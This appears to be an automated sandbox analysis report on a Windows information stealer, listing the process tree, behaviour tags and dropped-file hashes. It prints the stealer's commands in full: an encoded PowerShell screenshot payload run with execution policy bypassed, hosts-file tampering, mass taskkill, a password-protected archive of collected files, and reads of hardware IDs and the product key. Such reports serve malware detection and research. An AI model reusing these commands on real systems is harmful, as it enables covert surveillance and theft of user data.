AcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sgi5zd2r\sgi5zd2r.cmdline"6⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA4AC.tmp" "c:\Users\Admin\AppData\Local\Temp\sgi5zd2r\CSC624BCD5A3D8436E8E17E1E5FA8B831F.TMP"7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"4⤵
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"4⤵
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4156"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 41565⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2448"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 24485⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1040"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 10405⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2396"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 23965⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4156"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 41565⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1028"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 10285⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2448"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 24485⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1988"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 19885⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1040"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 10405⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2116"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 21165⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2396"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 23965⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2936"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 29365⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1028"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 10285⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1988"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 19885⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3880"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 38805⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2116"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 21165⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2936"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 29365⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3880"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 38805⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"4⤵
-
C:\Windows\system32\getmac.exegetmac5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI52162\rar.exe a -r -hp"blockiscool" "C:\Users\Admin\AppData\Local\Temp\TcMrk.zip" *"4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI52162\rar.exe a -r -hp"blockiscool" "C:\Users\Admin\AppData\Local\Temp\TcMrk.zip" *5⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5537815e7cc5c694912ac0308147852e4
SHA12ccdd9d9dc637db5462fe8119c0df261146c363c
SHA256b4b69d099507d88abdeff4835e06cc6711e1c47464c963d013cef0a278e52d4f
SHA51263969a69af057235dbdecddc483ef5ce0058673179a3580c5aa12938c9501513cdb72dd703a06fa7d4fc08d074f17528283338c795334398497c771ecbd1350a
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD58b167567021ccb1a9fdf073fa9112ef0
SHA13baf293fbfaa7c1e7cdacb5f2975737f4ef69898
SHA25626764cedf35f118b55f30b3a36e0693f9f38290a5b2b6b8b83a00e990ae18513
SHA512726098001ef1acf1dd154a658752fa27dea32bca8fbb66395c142cb666102e71632adbad1b7e2f717071cd3e3af3867471932a71707f2ae97b989f4be468ab54
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\8cad8b53-2e11-434a-b1c9-a285ca6018f6.tmpFilesize
6KB
MD5cfbdee3f20fbbf7609ac6b11d6db7204
SHA1cf78e0315332f373933b97d331a66900179c9dfb
SHA25617b7d1a7614ed671525f75f307f9d5069a5ecf3087c6198fec414c83010bc444
SHA5129436c0c42b134ef77c13894b20d661cf344ed2f86824572b90e96b7f5d87cb42955d540b6e445a22bcf9a4ea12246a8e3360baa30dacc2cf00a4675293f03e9e
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent StateFilesize
111B
MD5807419ca9a4734feaf8d8563a003b048
SHA1a723c7d60a65886ffa068711f1e900ccc85922a6
SHA256aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631
SHA512f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
5KB
MD52808eadc9f79257d03930abb00b10b21
SHA14f3556f18d01a4ed59310f6fda46bc0751a30f98
SHA2561945958c5737eff1949f44a4eb87aff32758d7fefe3c9d51bbf8d8f4eb824f11
SHA512e523a500fc5a102008c78ef6f9444e87b3a0aa166474fc1909c63ef2a224c0c60f01e9c86b6505851f6e2cad39d34fe61fc1bc002336d72e2f1c5a7825927804
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENTFilesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENTFilesize
16B
MD5206702161f94c5cd39fadd03f4014d98
SHA1bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA2561005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
SHA5120af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateFilesize
11KB
MD5b12248fcf63057386b3ca8ffbb87d08a
SHA1f6d93a46818ef6c25df84c684b933d53abce0dc1
SHA25609029366fb58f2dd1d5cbc6875673fe5e7cf72d771a31f3e5fede3ce3b9a6468
SHA5128d24b75ecab2b74c2b77b52f3e7ef054fd9fdd2aa56df02c597a03b3c4672da14f6dcfa23058b85c1ce7800df6ad6ac9a07a14dd7a501be89a11f9fc6a19c1cc
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateFilesize
11KB
MD5d0ae2b2bebb7f0ffa467413e1d7b5357
SHA1e495b5da5050af328ddd4fcab8bfc1acb2cfd599
SHA2567c985404c11496ee8e1ee2a348e9fcb85572cd24f09feacee4df17c83c741ce3
SHA5123a61b6c7fdca176b7bfce743568cb59a1709fd81fb3d4ff6614b357178b6d5bddb3b7dc43dc85f8c4bfa72e299df763dabcc27c691dcee6f968f0846fec5632e
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\VCRUNTIME140.dllFilesize
116KB
MD5be8dbe2dc77ebe7f88f910c61aec691a
SHA1a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA2564d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA5120da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\_ctypes.pydFilesize
59KB
MD51b06133298f03ff20e5d31cb3b0bca63
SHA10678e26f8d03e2ea0ba8d78d6d14809914d9c0a8
SHA256e92c373cc790a5411681a78ade2b75ecb03f3cf17aab7d98c0fb3afa2254684d
SHA51218c50a5ff69c0c7e19c27039eda0cade0e8bc8d617cca4bc8981dc8a519fa86a05a86b0662aaa493604e9801edf6a41ee65336332b715188e5e17a60a8154cbc
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\api-ms-win-core-console-l1-1-0.dllFilesize
13KB
MD571405f0ba5d7da5a5f915f33667786de
SHA1bb5cdf9c12fe500251cf98f0970a47b78c2f8b52
SHA2560099f17128d1551a47cbd39ce702d4acc4b49be1bb1cfe974fe5a42da01d88eb
SHA512b2c6438541c4fa7af3f8a9606f64eeef5d77ddbc0689e7501074bb72b7cc907a8461a75089e5b70b881bc3b1be009888ff25ea866faaf1c49dd521027041295a
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\api-ms-win-core-datetime-l1-1-0.dllFilesize
12KB
MD5a17d27e01478c17b88794fd0f79782fc
SHA12b8393e7b37fb990be2cdc82803ca49b4cef8546
SHA256ac227773908836d54c8fc06c4b115f3bdfc82e4d63c7f84e1f8e6e70cd066339
SHA512ddc6dda49d588f22c934026f55914b31e53079e044dec7b4f1409668dbfe8885b887cc64a411d44f83bc670ac8a8b6d3ad030d4774ef7bf522f1d3bc00e07485
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\api-ms-win-core-debug-l1-1-0.dllFilesize
12KB
MD5e485c1c5f33ad10eec96e2cdbddff3c7
SHA131f6ba9beca535f2fb7ffb755b7c5c87ac8d226c
SHA256c734022b165b3ba6f8e28670c4190a65c66ec7ecc961811a6bdcd9c7745cac20
SHA512599036d8fa2e916491bedb5bb49b94458a09dddd2908cf770e94bb0059730598ec5a9b0507e6a21209e2dcae4d74027313df87c9ab51fad66b1d07903bae0b35
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\api-ms-win-core-errorhandling-l1-1-0.dllFilesize
12KB
MD50ffb34c0c2cdec47e063c5e0c96b9c3f
SHA19716643f727149b953f64b3e1eb6a9f2013eac9c
SHA256863a07d702717cf818a842af0b4e1dfd6e723f712e49bf8c3af3589434a0ae80
SHA5124311d582856d9c3cac2cdc6a9da2137df913bcf69041015fd272c2780f6ab850895deb69279a076376a2e6401c907cb23a3052960478a6cf4b566a20cce61bd1
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\api-ms-win-core-file-l1-1-0.dllFilesize
16KB
MD5792c2b83bc4e0272785aa4f5f252ff07
SHA16868b82df48e2315e6235989185c8e13d039a87b
SHA256d26d433f86223b10ccc55837c3e587fa374cd81efc24b6959435a6770addbf24
SHA51272c99cff7fd5a762524e19abee5729dc8857f3ee3c8f78587625ec74f2ad96af7dee03aba54b441cda44b04721706bed70f3ad88453a341cbb51aac9afd9559e
-
C:\Users\Admin\AppData\Local\Temp\_MEI52162\api-ms-win-core-file-l1-2-0.dllFilesize
12KB
MD549e3260ae3f973608f4d4701eb97eb95
SHA1097e7d56c3514a3c7dc17a9c54a8782c6d6c0a27
SHA256476fbad616e20312efc943927ade1a830438a6bebb1dd1f83d2370e5343ea7af
